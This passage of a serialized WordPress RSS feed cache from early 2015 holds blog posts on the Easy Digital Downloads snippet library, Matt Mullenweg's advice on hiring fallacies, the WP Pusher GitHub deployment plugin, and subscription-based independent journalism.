which has resulted in more than sixty code snippets available to users and developers. The snippets cover everything from modifying the checkout experience to customizing the plugin&#8217;s email notifications.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/edd-code-snippet-library.png\" rel=\"prettyphoto[37151]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/edd-code-snippet-library.png?resize=1025%2C951\" alt=\"edd-code-snippet-library\" class=\"aligncenter size-full wp-image-38381\" /></a></p>\n<p>With more than half a million downloads on <a href=\"https://wordpress.org/plugins/easy-digital-downloads/\" target=\"_blank\">WordPress.org</a> and 150+ free and commercial <a href=\"https://easydigitaldownloads.com/extensions/\" target=\"_blank\">extensions</a>, Easy Digital Downloads has a large community of developers who work with the software every day.</p>\n<p>Williamson said that having the ability to share snippets for modifying EDD behavior has been hugely useful for the project. He only approves solid, tested code but in most cases the snippets have been submitted by the EDD team. Managing the repository hardly costs any time at all, &#8220;a few minutes per week at max,&#8221; he said.</p>\n<p>The benefits of hosting a community-maintained repository of code snippets far outweigh the minimal time required to maintain it. &#8220;The biggest problem it has is humans: we tend to forget to put snippets up a lot of times,&#8221; Williamson said. He identified three key areas where the library benefits the project:</p>\n<ul>\n<li>It&#8217;s a resource for the support team.</li>\n<li>It&#8217;s a source of examples for people wanting to customize behavior.</li>\n<li>It provides live testing (similar to add-on plugins) for potential features to add to core.</li>\n</ul>\n<p>The most common way that snippets are added to the EDD library is through the support staff.  &#8220;We write code snippets for customers while helping with support tickets and then we put the snippet in the library,&#8221; Williamson said.</p>\n<p>He hasn&#8217;t seen any WordPress-based open source projects or products doing anything similar but thinks that others could gain some value from implementing a library. GenerateWP might be the closest example of a site attempting something similar for snippets that extend WordPress core, with its new user <a href=\"http://wptavern.com/generatewp-introduces-wordpress-custom-code-snippets\" target=\"_blank\">code library feature</a>. However, this doesn&#8217;t have the collaborative benefits of hosting the library on GitHub.</p>\n<p>Larger WordPress projects like the Pods Framework, Gravity Forms, WooCommerce, BuddyPress, Jetpack, etc., are prime candidates that might benefit from a library of tested snippets. Of course, it helps that the base EDD plugin is free and open source. A 100% commercial project may not fare as well with a crowdsourced snippet library.</p>\n<p>Easy Digital Download is well known for being extensible and developer-friendly. Over the past two years <a href=\"http://wptavern.com/pippin-williamson-on-building-a-community-around-your-open-source-project\" target=\"_blank\">Williamson built a community of contributors</a> 120+ strong and found that extensibility has a direct correlation to profitability. The code snippet library is undoubtedly a valuable investment toward helping developers extend the base EDD plugin.</p>\n<p>Could your open source project or product benefit from a community-maintained library of code snippets? A snippet library can keep developers from having to reinvent the wheel when performing common modifications. It also provides a tested resource of code samples for those who are just getting started extending your project. If Williamson&#8217;s experience is any proof, then the few minutes per week spent on a snippets library can pay off with a big boost for the community surrounding your project.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 20:12:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:43;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Advice and Fallacies\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44648\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/advice-and-fallacies/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5955:\"<p>One of the toughest things in business is when you get well-meaning advice from advisors, investors, or friends of the company who are valuable but might hold some ideas or ways of approaching problems that just aren&#8217;t applicable to your particular company or situation. They might be right most of the time, and it might have worked for them in the past to build a huge success, but it doesn&#8217;t mean it&#8217;s right for you, right now.</p>\n<p>This is especially a struggle for Automattic because so much of what we do is deliberately different from companies that have come before us. The below is a sensitive-info-scrubbed version of a comment I made on an <a href=\"http://p2theme.com/\">internal P2</a> in response to someone who had met with a close friend of the company who had said we should &#8220;hire more business people, and more people like <em>so-and-so</em>, who have a background in and passion for data analysis and structure. He also shared his ideas about what the additional business hires could be responsible for, such as P&amp;L responsibilities for specific products.&#8221; The person he had talked to was asking why we weren&#8217;t following that advice.</p>\n<p>The first part was easy, because <em>so-and-so</em> was actually leading hiring for a position around data and the early results were going well. The rest I ended up writing more about, which follows. It was only meant for internal consumption, so read it as such, but I got enough requests to share the comment publicly that I wanted to clean it up and release it for y&#8217;all.</p>\n<blockquote><p>On the &#8220;more biz people + P&amp;L&#8221; side, it&#8217;s an area we disagree.</p>\n<p>We&#8217;ve had more &#8220;business people&#8221; in the past, and found it just didn&#8217;t move the needle in the same way that investing on the support, engineering, and design side did. They also tended to generate more meetings and work for other people than was commensurate for their contributions.</p>\n<p>We&#8217;ve also experimented with giving leads P&amp;L responsibility for products and groups, but ultimately it was awkward because we don&#8217;t really want leads or teams focused on the loss or costs of what they&#8217;re doing &#8212; we just want to grow our core metrics and revenue in a healthy and accelerating way, and let Ops and myself worry about overall profit or loss for the company, costs of people and services, capital requirements, etc. We&#8217;re still at a stage where our primary goals are investing in growth and product excellence, I wouldn&#8217;t want a P&amp;L concern to be a distraction from that, and that also takes us into the territory of different teams having &#8220;headcounts&#8221; of people they can hire for the year, or budgets set ahead of time and that they&#8217;ll lose if they don&#8217;t use, zero-sum accounting between teams and more balkanization you often see in larger organizations. When anyone thinks about P&amp;L at Automattic, I want it to be holistically and with a long-term view, not for a single team or product.</p>\n<p>It gets backs to the fallacy we talked about and agreed to avoid at the [WordPress.com leads] meetup, which is the business equivalent of <a href=\"http://en.wikipedia.org/wiki/Great_Man_theory\" rel=\"nofollow\">Great Man Theory</a>: the idea that a deficiency in the business or product will be solved by hiring someone senior to be in charge of that thing. Example: Automattic is bad at marketing, we should hire a CMO. (99% of the time when this is suggested it means an external person, because if anyone internal was good the problem wouldn&#8217;t exist.) It&#8217;s an easy thing for anyone to fall into, you can see it in [a recent internal thread].</p>\n<p>This must work sometimes, because it seems to be a near-universal affliction of VCs on startup boards. It also is a little bit of a <a href=\"http://bikeshed.com/\" rel=\"nofollow\">bikeshed</a>, because while it can be difficult to understand or feel like you can have an influence on something fundamental to the product, like say the signup flow, most VCs have large professional networks and can have long and vigorous discussions talking about potential people who are executives in a given area and their first or second degree connections to them. Of course, like many of us, VCs are consumers of tech media which tends to ascribe all the success of an organization to a single person (like Sheryl Sandberg for Facebook not falling apart, or Adam Bain for revenue at Twitter). However often the problem has root causes more fundamental than a single person could shift.</p>\n<p>I subscribe to a more environment-driven approach, that if you break down a problem into its component parts you can address them individually, often with relatively simple next steps, and build things from the ground up, rather than the top down. If you can&#8217;t do that, then it&#8217;s best to be candid that the area is not a priority and make sure that&#8217;s in line with what you&#8217;re focusing on instead. In this process leaders will emerge or if the effort matures to a point where one joins as a new hire he or she will have the resources, groundwork, and environment to succeed.</p></blockquote>\n<p><strong>So in summary: always go back to first principles of decisions.</strong> Hires are seldom panaceas. Someone being successful in a role at another company doesn&#8217;t mean they actually did the work, or were the cause of the success. If there&#8217;s an area you&#8217;re weak, try to figure out the root causes of why you&#8217;re weak, and where possible try to improve the environment that creates the problem before pinning the turnaround on a &#8220;Jesus hire.&#8221; When you improve the environment it makes it much more likely a new external hire will do well. The majority of success or failure is a result of the environment, at least as much as the individuals involved.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 07:57:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:44;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:100:\"WPTavern: WP Pusher Aims to Provide Pain-Free Deployment of WordPress Themes and Plugins from GitHub\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38339\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:110:\"http://wptavern.com/wp-pusher-aims-to-provide-pain-free-deployment-of-wordpress-themes-and-plugins-from-github\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6728:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher.png\" rel=\"prettyphoto[38339]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher.png?resize=680%2C312\" alt=\"wp-pusher\" class=\"aligncenter size-full wp-image-38342\" /></a></p>\n<p>If you create plugins and themes for clients and host them on GitHub, then you may have encountered the hassle of having to move those files over to your client&#8217;s installation. On super cheap hosting packages, where SSH access is not an option, this process inevitably requires manually copying files over via FTP.</p>\n<p>This is the problem that Danish developer <a href=\"http://petersuhm.com/\" target=\"_blank\">Peter Suhm</a> aims to solve with his new <a href=\"https://wppusher.com/\" target=\"_blank\">WP Pusher</a> product. The plugin aims to bring pain-free deployment of WordPress themes and plugins directly from GitHub and Bitbucket.</p>\n<p>&#8220;If you happen to be an actual developer, I guess you have a few preferences as to how you manage and deploy your code,&#8221; Suhm said. &#8220;I’m talking about stuff like version control and automated deployment scripts. Good luck with that on your clients&#8217; cheap-ass shared hosting account.&#8221;</p>\n<p>Suhm developed WP Pusher with the vast majority of cheaply-hosted WordPress sites in mind. Additionally, he wanted to eliminate some of the hangups with more expensive hosts. &#8220;Even if you are running a shiny new VPS and have SSH access, Git installed and you think all is well, soon you’ll realize other weird things,&#8221; he said. &#8220;You can&#8217;t have symlinks in your /plugins folder just to mention one.&#8221; WP Pusher gets around these limitations via a simple plugin that does not require Git or SSH.</p>\n<h3>How Does WP Pusher Work?</h3>\n<p>Once installed, WP Pusher allows you to install and manage all of your GitHub or Bitbucket-hosted plugins in one central dashboard in the admin. Enabling the Push-to-Deploy feature will have your code update itself automatically every time you push to GitHub or Bitbucket.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/manage-wp-pusher-themes.png\" rel=\"prettyphoto[38339]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/manage-wp-pusher-themes.png?resize=1025%2C202\" alt=\"manage-wp-pusher-themes\" class=\"aligncenter size-full wp-image-38352\" /></a></p>\n<p>The plugin supports private repositories in its free edition and includes support for branches in the <a href=\"https://wppusher.com/#licenses\" target=\"_blank\">Pro version</a>.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher-install-plugin.png\" rel=\"prettyphoto[38339]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/wp-pusher-install-plugin.png?resize=1025%2C651\" alt=\"wp-pusher-install-plugin\" class=\"aligncenter size-full wp-image-38353\" /></a></p>\n<p>WP Pusher is essentially an extension of the built-in auto updater in WordPress, which Suhm explained in the plugin&#8217;s release <a href=\"http://blog.wppusher.com/pain-of-wordpress-development/\" target=\"_blank\">post</a>:</p>\n<blockquote><p>After a lot of prototyping, and hacking around with the WordPress core, we came up with a smart solution. By utilizing the WordPress core upgrader classes, we could solve the problem in a really clean way. </p>\n<p>Since WordPress already knows how to pull stuff from a remote source and install it, we realized that by working together with WordPress, instead of just throwing random automated SSH and FTP scripts at the server, we could just have WordPress do the work for us -with a lot of tweaking of course. In the end, our solution doesn&#8217;t do anything that is not native to WordPress. It’s all core functionality.</p></blockquote>\n<p>WP Pusher does everything in the plugin and does not require shell access. It communicates with GitHub via a token stored on your server and operates using WordPress&#8217; core updater capabilities.</p>\n<h3>Different Approaches to Managing WordPress Projects with Git</h3>\n<p>In order to use WP Pusher, each GitHub-hosted plugin and/or theme will need to be in its own repository. While beta testing WP Pusher, Suhm found that developers have <a href=\"http://blog.wppusher.com/managing-wordpress-projects-with-git/\" target=\"_blank\">differences in how they manage WordPress projects with Git</a>. The most common one he&#8217;s encountered is <em>one installation, one repository</em>, where the entire WordPress installation, including themes and plugins, is under Git control. Suhm believes that this approach is fundamentally broken, given that it requires you to keep a lot of 3rd party code under version control.</p>\n<p>WP Pusher operates under a &#8220;<em>one package, one repository</em>&#8221; approach where each theme or plugin is its own entity. This method also offers the advantage of being able to share theme/plugin code across multiple projects.</p>\n<p>&#8220;WordPress relies heavily on the auto updater, which would make your version control a mess,&#8221; Suhm explained. &#8220;If you do have something that is more enterprise than most WordPress setups, you should consider a custom setup that allows better for version control of core. Packages should still, in my opinion, each have their own repositories, since they are logically their own entities.&#8221;</p>\n<p>WP Pusher is structured around this approach for managing WordPress projects with Git. You may need to restructure some of your repositories if you want to be able to use the plugin.</p>\n<p>The free version offers unlimited themes and plugins, unlimited repositories, and support for both GitHub and Bitbucket. It does not, however, include email support. WP Pusher is compatible with WordPress multisite and will show up in the network admin when activated. It doesn&#8217;t currently support Composer but Suhm is <a href=\"https://twitter.com/WP_Pusher/status/558356082960371713\" target=\"_blank\">considering adding it in the future</a>. The plugin is released under the GPLv2 license.</p>\n<p><a href=\"https://wppusher.com/\" target=\"_blank\">WP Pusher</a> offers a unique take on maintaining version control for projects while not forcing WordPress to bend over backwards to provide it in the admin. It leaves the version control to GitHub and/or Bitbucket and uses WordPress simply for deployment.</p>\n<p>Setup is simple and the plugin will work virtually everywhere, even on the cheapest hosting. If you like the idea of maintaining version control on a plugin/theme basis, you can download the WP Pusher plugin for free from the project&#8217;s <a href=\"https://wppusher.com/\" target=\"_blank\">website</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 22:32:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:45;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Post Status: New journalism\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8311\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"https://poststatus.com/new-journalism/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:13584:\"<p>Have you heard of Andrew Sullivan? He&#8217;s the man behind The Dish &#8212; a blog that helped break new ground on blog monetization through membership fees.</p>\n<p><a href=\"http://dish.andrewsullivan.com/2015/01/31/a-note-to-my-readers/\">He quit blogging</a>, and therefore the media world declared blogging dead (again). Sullivan leaving and the posts that have come from it have caused me to think about blogging and journalism in its current and changing state. I think we&#8217;re in the second act of what I&#8217;m pompously calling <em>new journalism</em>.</p>\n<h3>Blogging is so (not) dead</h3>\n<p>Seemingly everyone in media weighed in on Sullivan&#8217;s departure, from <a href=\"http://www.buzzfeed.com/bensmith/this-is-my-blog\">Ben Smith</a> at Buzzfeed to <a href=\"http://www.vox.com/2015/1/30/7948091/andrew-sullivan-leaving-blogging\">Ezra Klein</a> at Vox. My favorite (until today) was Mathew Ingram&#8217;s <a href=\"https://gigaom.com/2015/01/31/blogging-is-very-much-alive-we-just-call-it-something-else-now/\">take at Gigaom</a>, which mostly defended the blog.</p>\n<p>But the best of the bunch goes to former Automattician and current independent tech journalist Ben Thompson. Ben runs <a href=\"http://stratechery.com/\">Stratechery</a>, a blog that has a very similar model to The Dish (and my own), where he makes money from subscribers who get extra members-only content.</p>\n<p>I have followed Ben&#8217;s work closely. I was quite keen to see how his model would work for him, and it has. Nevertheless, I almost fully agree with Ben&#8217;s take on what Sullivan&#8217;s model and departure mean:</p>\n<blockquote><p>It turns out, though, that there are more business models than simply advertising, as Sullivan himself sought to show. Sullivan was, for the last two years, supported by reader subscriptions to the tune of <a href=\"https://gigaom.com/2014/10/10/andrew-sullivans-daily-dish-sees-new-signups-fall-but-revenue-holding-steady-at-about-1m/\">nearly one million dollars a year</a>, and while many were skeptical of Sullivan’s efforts when he started, his ability to raise money shouldn’t have been a surprise: his is a singular voice – to put it in economic terms, Sullivan’s writing had a low <a href=\"http://en.wikipedia.org/wiki/Elasticity_of_substitution\">elasticity of substitution</a> – so people were happy to pay for something they couldn’t get anywhere else.</p></blockquote>\n<p>Elasticity of substitution may be my new favorite phrase. And in that concept, I think we find the important key to viability. What are we valuing in websites? For me, it&#8217;s individual voices.</p>\n<p>A bit more from Ben&#8217;s post:</p>\n<blockquote><p>But Sullivan did have a viable business, and it scaled wonderfully: it cost him the same amount of both time and money to serve 1,000 subscribers as it would have to serve 100,000, or 1 million, and he didn’t need to change a thing about himself or his content to do it. No, it’s not scale that is the problem, but rather <em>reach.</em></p>\n<p>I am, of course, acutely aware that there is a tradeoff when it comes to the subscription business model: by making something scarce, and worth paying for, you are by definition limiting your number of readers.<span> </span>Stratechery, though, serves a niche, and <a href=\"http://stratechery.com/2015/niches-problem-subscription-services/\">niches are best served</a> by making more from customers who really care than from milking pennies from everyone.</p></blockquote>\n<p>For a writer, it is a difficult mind-shift to focus on subscribers after years of focusing on reach. But I do think a subscriber model, or more likely a hybrid subscriber model, is perhaps one of the most viable routes for sustainable journalism that we have today.</p>\n<h3>New blogging mediums</h3>\n<p>Of additional interest to all of these &#8220;blogging is dead&#8221; posts, is how the writers define blogs and the mediums for them.</p>\n<p>Ben really narrows the definition of a blog.</p>\n<blockquote><p>A big problem with this entire discussion is that there really isn’t a widely agreed-upon definition of what a blog is, thanks in part to the rise of sites like TechCrunch that ran on WordPress and presented posts in reverse-chronological order and so, at least in the beginning, were called “blogs”; add to that the thinly-disguised PR-channels known as “company blogs” and it’s easy to get confused.</p>\n<p>And so, to be clear, when I speak of the “blog” I am referring to a regularly-updated site that is owned-and-operated by an individual (there is, of course, the “group blog,” but it too has a clearly-defined set of authors). And there, in that definition, is the reason why, despite the great unbundling, the blog has not and will not die: is is the only communications tool, in contrast to every other social service, that is <em>owned</em> by the author; to say someone follows a blog is to say someone follows a <em>person.</em></p></blockquote>\n<p>This is probably the single argument I (partially) disagree with. I actually believe that a blog is just that: <em>a web log</em>. I think it&#8217;s perfectly fine to consider Twitter, Facebook, &amp; Instagram new mediums for blogging &#8212; at least in the sense of the traditional <em>web log</em> definition. They are just for a different form of blogging: short form, temporary, and a viable replacement for the &#8220;10 to 15&#8243; daily update style of posts many old school bloggers previously put on their primary &#8220;blogs&#8221;.</p>\n<p>Other than someone abusing these mediums &#8212; for instance, Marc Andreessen&#8217;s tweet-storms &#8212; our WordPress (or other software) blogs are still where our more permanent thoughts go. And fortunately, as Ben notes, we have these short-form mediums as free marketing channels for our actual blogs and more serious thoughts.</p>\n<p>Ben also hesitates to consider multi-author sites as blogs. I disagree here as well. Perhaps publications aren&#8217;t blogs as a whole, but within TechCrunch or The New York Times, individuals rise up with their own unique voices, and those singular feeds are, in my opinion, blogs of their own &#8212; whether or not they are fully siloed within the publication. I can follow an author on Twitter and essentially get their blog feed through their Twitter links, even if the site itself doesn&#8217;t differentiate their posts from anyone else&#8217;s.</p>\n<p>So Ben has helped me establish a new mental constraint for defining a blog: <strong>a blog is a highly individual thing</strong>. I have never truly considered this before, but it makes sense. I&#8217;ve always been most attracted to publications where the voice behind the writing is strong &#8212; where I know who is writing a post whether I see the byline or not.</p>\n<h3>Publishing containers</h3>\n<p>The New York Times, TechCrunch, Politico and BuzzFeed: these are containers. They may have some over-arching styles that most of their writers follow, but we still get to know individuals in these publications. I know David Carr&#8217;s voice at The New York Times; I know Alexia Tsotsis&#8217; voice at TechCrunch; I know Mike Allen&#8217;s voice at Politico; and I know Ben Smith&#8217;s voice at BuzzFeed.</p>\n<p>One thing we&#8217;ve seen happen in a wake of <em>new journalism</em> is that a voice gets too big for the container, and the voice splits. Nate Silver left The New York Times. Ezra Klein left The Washington Post. Interestingly, I think both of these guys lost their voices a bit when they created their own containers.</p>\n<p>Andrew Sullivan is a great example of a big voice within publishing containers. Before he went independent, he was a huge voice at The Atlantic and The Daily Beast. He was apparently responsible for <a href=\"http://www.forbes.com/sites/jeffbercovici/2011/05/03/losing-andrew-sullivan-didnt-hurt-the-atlantics-traffic/\">up to a quarter</a> of all traffic to The Atlantic before he left.</p>\n<p>For a publisher, this should be both exhilarating and terrifying. The voice within your publication (Sullivan) gets outstanding results, but you also run the risk of the voice leaving; if the voice is bigger than the container, that could be really really bad.</p>\n<h3>We need new tools for a new kind of publishing container</h3>\n<p>Journalists are leaving big publishing containers and going independent for a variety of reasons, but I believe one is pretty clear: money.</p>\n<p>A niche publisher like Ben Thompson can make well into six-figures running his own publication. Ben is a talented and knowledgeable writer, but I don&#8217;t think it would be easy for him to make the kind of money he&#8217;s making at Stratechery if he were writing for a traditional publication.</p>\n<p>Ben cites the ease of use of tools like WordPress and Stripe as reasons to be optimistic that the independent subscription model can work:</p>\n<blockquote><p>While WordPress has long been an effective free option for managing the content-side of blogging, only recently are there useful tools for managing the business-side. First and foremost amongst these is Stripe which, for the first time makes managing subscription-payments simple and straight-forward. However, there are still holes, particularly when it comes to actually managing membership lists and communities</p></blockquote>\n<p>I agree that it&#8217;s easier than before, but I wouldn&#8217;t say it&#8217;s simple. I&#8217;ve spent a great deal of time to make Post Status work behind the scenes, and I don&#8217;t think it&#8217;s perfect by any means. Is it cheap compared to million dollar big-publisher platforms? Yes. Is it cheap for a solo-journalist? Not at all.</p>\n<p>I think there is a tremendous opportunity here: there is room to create new publishing containers (I&#8217;m not sure if this should be a tool or a network) that lower the technical barrier to entry but also enable independent, subscription-based journalism.</p>\n<p>Big media companies remove the need to manage the business and technical side for journalists. Meanwhile, those of us that are attempting our own thing are all reinventing the wheel a bit.</p>\n<p>Ben and I use some of the same tools &#8212; WordPress and Stripe &#8212; but what if there was a more structured container for those seeking independence and someone to help them take care of the non-content aspects? What if that same tool had its own network effect?</p>\n<h3>Who is in position to be a new kind of container?</h3>\n<p>What existing networks are in position to offer this kind of tool? WordPress.com is one. Medium is another.</p>\n<p>I envision a tool (publishing platform) where independent journalists can do a few things:</p>\n<ul>\n<li>Maintain their own audience (be a part of a network, but be their own voice and publication)</li>\n<li>Own their own brand (custom themes/styles, unique domain)</li>\n<li>Offer subscription options to readers without managing the tech</li>\n</ul>\n<p>If I were Ev Williams or Matt Mullenweg, I&#8217;d be working on a way to be the next container for great, <em>sustainable</em> journalism. And hosted networks have a unique advantage: they can offer discovery for new or lesser-known authors. Unless <a href=\"https://poststatus.com/notes/recommendation-engine-independent-wordpress-blogs/\">self-hosted options figure that part out</a>.</p>\n<p>As a publisher on the WordPress.org side of things, I don&#8217;t think the perfect tool exists yet either. Fortunately I&#8217;m able to build most of what I need. But Ben is right that managing membership lists  and communities with WordPress is still hard. Syncing the membership list and the email list (delivery mechanism) is hard too.</p>\n<p>While I don&#8217;t think the perfect self-hosted tools exist quite yet, I believe it&#8217;s just a matter of time. But even the best self-hosted tool will require that the journalist also manage the business elements; therefore I think there will always be room for a hosted tool.</p>\n<p>I think this could be an excellent business vertical for a publishing tool like <a href=\"http://wordpress.com\">WordPress.com</a> or <a href=\"http://medium.com\">Medium</a>.</p>\n<h3>New journalism</h3>\n<p>I&#8217;ve used the words <em>journalism</em> and <em>blogging</em> synonymously throughout this post. I don&#8217;t think all bloggers are journalists, but I do think all journalists are bloggers. Blogging isn&#8217;t dead. I think it&#8217;s just leaving adolescence.</p>\n<p>Journalists won&#8217;t need big media to back their efforts. They&#8217;ll be able to use a blend of mediums (Twitter, Instagram, Youtube, etc) to funnel traffic to their main &#8220;blog&#8221; &#8212; or primary domain &#8212; where they can actually make money by attracting loyal subscribers willing to pay for high-value content.</p>\n<p>The formula for making money will change. The key for successful independent journalism won&#8217;t be about being first, or dominating search, or pageview quotas. Too many in big media have ignored that <em>elasticity of substitution</em> measurement Ben highlights.</p>\n<p>Journalism is changing, and I agree with Ben Thompson that &#8220;The Daily Dish will in the long run be remembered not as the last of a dying breed but as the pioneer of a new, sustainable journalism.&#8221;</p>\n<p>Those journalists that can create what others cannot will have a formula for publishing success, and soon enough the tools will catch up to allow them to do what they do best: create great content.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 22:21:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:46;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: Sprig: A WordPress Starter Theme that Features the Twig Templating Engine\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37053\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://wptavern.com/sprig-a-wordpress-starter-theme-that-features-the-twig-templating-engine\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4167:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/sprig.png\" rel=\"prettyphoto[37053]\"><img 